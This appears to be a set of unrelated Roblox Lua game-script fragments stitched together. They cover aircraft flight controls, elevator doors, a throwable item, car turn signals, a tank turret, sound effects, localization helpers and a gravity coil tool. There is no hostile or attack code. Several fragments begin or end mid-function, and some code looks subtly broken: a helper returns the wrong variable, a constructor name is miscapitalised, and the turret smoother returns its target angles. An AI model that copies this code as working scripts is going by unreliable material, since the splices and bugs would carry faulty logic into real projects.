move.maxForce = Vector3.new(math.huge,math.huge,math.huge) -- Fly gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank))) end if ((altRestrict) and (main.Position.y < altMin)) then -- If you have altitude restrictions and are below the minimun altitude, then make the plane explode plane.AutoCrash.Value = true end updateGui(tax,stl) -- Keep the pilot informed! main.Throttle.Value = throttle if currentSpeed > 0 then game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Attach else game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Follow end wait() end end script.Parent.ImageButton.MouseEnter:connect(function(m) -- Initial setup script.Parent.ImageButton:Destroy() mouse = game.Players.LocalPlayer:GetMouse() mouseSave = mouse mouse.Icon = "http://www.roblox.com/asset/?id=48801855" -- Mouse icon used in Perilous Skies panel.Visible=true delay(0,function() fly(mouse) end) -- Basically a coroutine mouse.KeyDown:connect(function(k) if (not flying) then return end k = k:lower() if (k == keys.engine.key) then main.Engine.Value = true script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(255/255, 255/255, 0) script.Parent.Panel.Engines.BorderColor3 = Color3.new(170/255, 170/255, 0) wait (20) script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(85/255, 255/255, 0) script.Parent.Panel.Engines.BorderColor3 = Color3.new(0, 85/255, 0) on = (not on) if (not on) then throttle = 0 main.Engine.Value = false script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(255/255, 255/255, 0) script.Parent.Panel.Engines.BorderColor3 = Color3.new(170/255, 170/255, 0) wait (20) script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(196/255, 40/255, 28/255) script.Parent.Panel.Engines.BorderColor3 = Color3.new(100/255, 0, 0) end elseif (k:byte() == keys.spdup.byte) then keys.spdup.down = true delay(0,function() while ((keys.spdup.down) and (on) and (flying)) do throttle = (throttle+throttleInc) throttle = (throttle > 1 and 1 or throttle) wait() end end) elseif (k:byte() == keys.spddwn.byte) then keys.spddwn.down = true delay(0,function() while ((keys.spddwn.down) and (on) and (flying)) do throttle = (throttle-throttleInc) throttle = (throttle < 0 and 0 or throttle) wait() end end) end end) mouse.KeyUp:connect(function(k) if (k:byte() == keys.spdup.byte) then keys.spdup.down = false elseif (k:byte() == keys.spddwn.byte) then keys.spddwn.down = false end end) end) function exitplane() flying = false game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom mouseSave.Icon = "rbxasset://textures\\ArrowCursor.png" script.Parent:Destroy() player.Character.Freeze.Captian.Value = false player.Character.Humanoid.JumpPower = 50 player.Character.Humanoid.Jump = true end panel.ExitButton.MouseButton1Down:connect(exitplane)
-------------------------
function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors.F08 then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors.F08.Position clicker = true end function DoorOpen() while Shaft07.MetalDoor.Transparency < 1.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency + .1 wait(0.000001) end Shaft07.MetalDoor.CanCollide = false end
--returns the wielding player of this tool
function getPlayer() local char = Tool.Parent return game:GetService("Players"):GetPlayerFromCharacter(Character) end function Toss(direction) local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z) local spawnPos = Character.Head.Position spawnPos = spawnPos + (direction * 5) local Object = Tool.Handle:Clone() Object.Burn.Attachment.Debris.Enabled = true Object.ThinkFast:Destroy() Object.Parent = workspace Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100 Object.Swing:Play() Object.CanCollide = true Object.CFrame = Tool.Handle.CFrame Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0) Object.Trail.Enabled = true local rand = 11.25 Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand)) Object:SetNetworkOwner(getPlayer()) local ScriptClone = DamageScript:Clone() ScriptClone.Parent = Object ScriptClone.Disabled = false local tag = Instance.new("ObjectValue") tag.Value = getPlayer() tag.Name = "creator" tag.Parent = Object end PowerRemote.OnServerEvent:Connect(function(player, Power) local holder = getPlayer() if holder ~= player then return end AttackVelocity = Power end) TossRemote.OnServerEvent:Connect(function(player, mousePosition) local holder = getPlayer() if holder ~= player then return end if Cooldown.Value == true then return end Cooldown.Value = true if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation") end local targetPos = mousePosition.p local lookAt = (targetPos - Character.Head.Position).unit local SecretRNG = Random.new():NextInteger(1,10) --Change RNG value here if SecretRNG == 1 then local ChucklenutsSound = Tool.Handle.ThinkFast:Play() end Toss(lookAt) Tool:Destroy() end) Tool.Equipped:Connect(function() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") end) Tool.Unequipped:Connect(function() Character = nil Humanoid = nil end)
-- dark886's click regen script -- just place this script to the button -- just place the button to the model -- just place the model to anywhere lol
location = script.Parent.Parent.Parent regen = script.Parent.Parent save = regen:clone() function onClicked() regen:remove() back = save:clone() back.Parent = location back:MakeJoints() end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal local rightfront = car.Body.Lights.Right.TurnSignal local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal local neonright = car.Body.Lights.Right.TurnSignal local off = BrickColor.New("Burlap") local on = BrickColor.New("Deep orange") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftfront.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonleft.BrickColor = off leftfront.BrickColor = off component.TurnSignal:play() neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false then righton = true repeat neonright.BrickColor = on rightfront.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on rightfront.BrickColor = on neonleft.BrickColor = on leftfront.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off neonleft.BrickColor = off leftfront.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
-- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)
function getSmoothRotation(rotations) local targElev = rotations[1]; local targRot = rotations[2]; local maxGunDepression = tankStats.GunDepression.Value; -- Restrict the height of travel of the gun if math.abs(targElev) > maxGunDepression then targElev = maxGunDepression*sign(targElev); end -- Once target angles are set, slowly turn turret towards them -- Elevation local elevDiff = targElev - currentElev; if math.abs(elevDiff) < 0.01 then -- If they're close currentElev = targElev; else -- Move towards it currentElev = currentElev + 0.01*sign(elevDiff); end -- Rotation local rotDiff = targRot - currentRot; if rotDiff > math.pi then rotDiff = rotDiff - 2*math.pi; elseif rotDiff < -math.pi then rotDiff = rotDiff + 2*math.pi; end local turretSpeed = tankStats.TurretSpeed.Value; if math.abs(rotDiff) < turretSpeed then -- If they're close currentRot = targRot; else -- Move towards it currentRot = currentRot + turretSpeed*sign(rotDiff); end -- Put rotation and elevation into an array local rotations = {}; rotations[1] = targElev; rotations[2] = targRot; return rotations; end
-- sound group for easy main volume tweaking
local SoundGroup = Instance.new("SoundGroup") SoundGroup.Name = "__RainSoundGroup" SoundGroup.Volume = RAIN_SOUND_BASEVOLUME SoundGroup.Archivable = false local Sound = Instance.new("Sound") Sound.Name = "RainSound" Sound.Volume = volumeTarget Sound.SoundId = RAIN_SOUND_ASSET Sound.Looped = true Sound.SoundGroup = SoundGroup Sound.Parent = SoundGroup Sound.Archivable = false
-- Format params: N/A
local ERR_OBJECT_DISPOSED = "This Caster has been disposed. It can no longer be used."
--[=[ Cleans up the signal. Technically, this is only necessary if the signal is created using `Signal.Wrap`. Connections should be properly GC'd once the signal is no longer referenced anywhere. However, it is still good practice to include ways to strictly clean up resources. Calling `Destroy` on a signal will also disconnect all connections immediately. ```lua signal:Destroy() ``` ]=]
function Signal:Destroy() self:DisconnectAll() local proxyHandler = rawget(self, "_proxyHandler") if proxyHandler then proxyHandler:Disconnect() end end
-- RENDER LOOP --
local MPL,PL,curr=0 curr=Sound.SoundId game:GetService'RunService'.RenderStepped:connect(function() PL=Sound.PlaybackLoudness if Sound.IsPlaying and PL==PL then -- Sound is playing & PlaybackLoudness is not undefined if curr~=Sound.SoundId then MPL=0 -- Reset the relative Max PlaybackLoudness on song change curr=Sound.SoundId end MPL=math.max(PL,MPL) PL=PL/MPL -- Normalize PL based on relative Max PlaybackLoudness if PL==PL then Set(math.floor(PL*nBars),PL*Height) -- Modify bar relative to PlaybackLoudness end end end) while wait() do script.Activator.Value = not script.Activator.Value end
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "Custom song" -- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""
end F.pauseSong = function() carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop()
--[=[ Parses a localization table and adds a pseudo localized locale to the table. @param localizationTable LocalizationTable -- LocalizationTable to add to. @param preferredLocaleId string? -- Preferred locale to use. Defaults to "qlp-pls" @param preferredFromLocale string? -- Preferred from locale. Defaults to "en-us" @return string -- The translated line ]=]
function PseudoLocalize.addToLocalizationTable(localizationTable, preferredLocaleId, preferredFromLocale) local localeId = preferredLocaleId or "qlp-pls" local fromLocale = preferredFromLocale or "en" local entries = localizationTable:GetEntries() for _, entry in pairs(entries) do if not entry.Values[localeId] then local line = entry.Values[fromLocale] if line then entry.Values[localeId] = PseudoLocalize.pseudoLocalize(line) else warn(("[PseudoLocalize.addToLocalizationTable] - No entry in key %q for locale %q") :format(entry.Key, fromLocale)) end end end localizationTable:SetEntries(entries) end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Gravity = 196.20 JumpHeightPercentage = 0.25 ToolEquipped = false function GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false for ii, vv in pairs(Parts) do if v == vv then Ignore = true end end if not Ignore then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function SetGravityEffect() if not GravityEffect or not GravityEffect.Parent then GravityEffect = Instance.new("BodyForce") GravityEffect.Name = "GravityCoilEffect" GravityEffect.Parent = Torso end local TotalMass = 0 local ConnectedParts = GetAllConnectedParts(Torso) for i, v in pairs(ConnectedParts) do if v:IsA("BasePart") then TotalMass = (TotalMass + v:GetMass()) end end local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage)) GravityEffect.force = Vector3.new(0, TotalMass, 0) end function HandleGravityEffect(Enabled) if not CheckIfAlive() then return end for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyForce") then v:Destroy() end end for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do if v then v:disconnect() end end if Enabled then CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) SetGravityEffect() DescendantAdded = Character.DescendantAdded:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) DescendantRemoving = Character.DescendantRemoving:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if HumanoidDied then HumanoidDied:disconnect() end HumanoidDied = Humanoid.Died:connect(function() if GravityEffect and GravityEffect.Parent then GravityEffect:Destroy() end end) HandleGravityEffect(true) ToolEquipped = true end function Unequipped() if HumanoidDied then HumanoidDied:disconnect() end HandleGravityEffect(false) ToolEquipped = false end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)